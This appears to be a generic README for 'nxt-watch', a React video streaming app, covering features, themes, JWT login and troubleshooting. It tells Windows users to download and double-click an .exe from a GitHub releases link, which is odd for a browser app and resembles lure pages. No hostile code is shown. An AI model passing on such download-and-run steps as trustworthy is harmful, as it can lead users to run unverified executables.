Use a Windows PC with:
- Windows 10 or Windows 11
- An internet connection
- At least 4 GB of RAM
- A modern web browser such as Chrome, Edge, or Firefox
- Enough free space to save the app files
- Open the GitHub Releases page.
- Look for the latest release at the top of the page.
- Find the Windows download file in the release assets.
- Download the file to your computer.
- If the file comes in a ZIP folder, right-click it and choose Extract All.
- Open the folder where you saved the app.
- If you extracted a ZIP file, open the extracted folder.
- Look for the app file or the folder with the app files.
- If the release includes an
.exefile, double-click it to start the app. - If the release includes a web build, open the main HTML file in your browser.
- Keep your internet connection on so the app can load videos and sign-in data.
nxt-watch is a video streaming app that feels familiar if you use YouTube. It gives you a clean place to browse, watch, and manage videos.
You can use it to:
- Watch videos with a built-in player
- Sign in with JWT-based login
- Switch between dark and light themes
- Browse content with a simple layout
- Move between pages without full reloads
- Keep app state in one place with Context API
See a list of videos in one place. Use it to start browsing right away.
Find videos by typing a name or topic. This helps when you want one video fast.
Open a video to watch it in the built-in player. You can pause, resume, and change the volume like you would in most video apps.
Keep videos you want to watch again in one spot.
If you open the wrong page, the app shows a simple error screen.
nxt-watch includes two display modes:
- Light theme for bright rooms
- Dark theme for low light and night use
You can switch between them from the app interface.
The app uses JWT authentication for login. In simple terms, this means you sign in once and then use the app without entering your details again on every page.
Use the sign-in screen to:
- Enter your account details
- Access protected pages
- Keep your session active while you use the app
- Open nxt-watch.
- Sign in with your account.
- Use the side menu or top menu to move around.
- Search for a video or browse the home page.
- Select a video to play it.
- Use Saved Videos if you want to keep it for later.
- Switch the theme if you want a different look.
This app uses:
- React.js
- Vite
- React Router
- React Player
- Context API
- styled-components
The download may include:
- A Windows app file
- A ZIP archive
- App assets and web files
- A README or release note file
If you see a ZIP file, extract it before opening the app files.
- Check that you extracted all files
- Make sure you opened the correct file
- Try running the file again
- Check your internet connection
- Refresh the app
- Try a different browser if the release uses web files
- Make sure you entered the right details
- Check that the app can reach the internet
- Try again after a short wait
- Resize the window
- Switch between light and dark mode
- Open the app in a modern browser
- The app is made for desktop use
- It works best on a stable internet connection
- The interface is simple and easy to navigate
- Video playback uses React Player for smooth viewing
- Navigation stays fast because the app is a single-page app
Use the release page here if you need to visit it later: https://github.com/descriptive-dancemusic699/nxt-watch/releases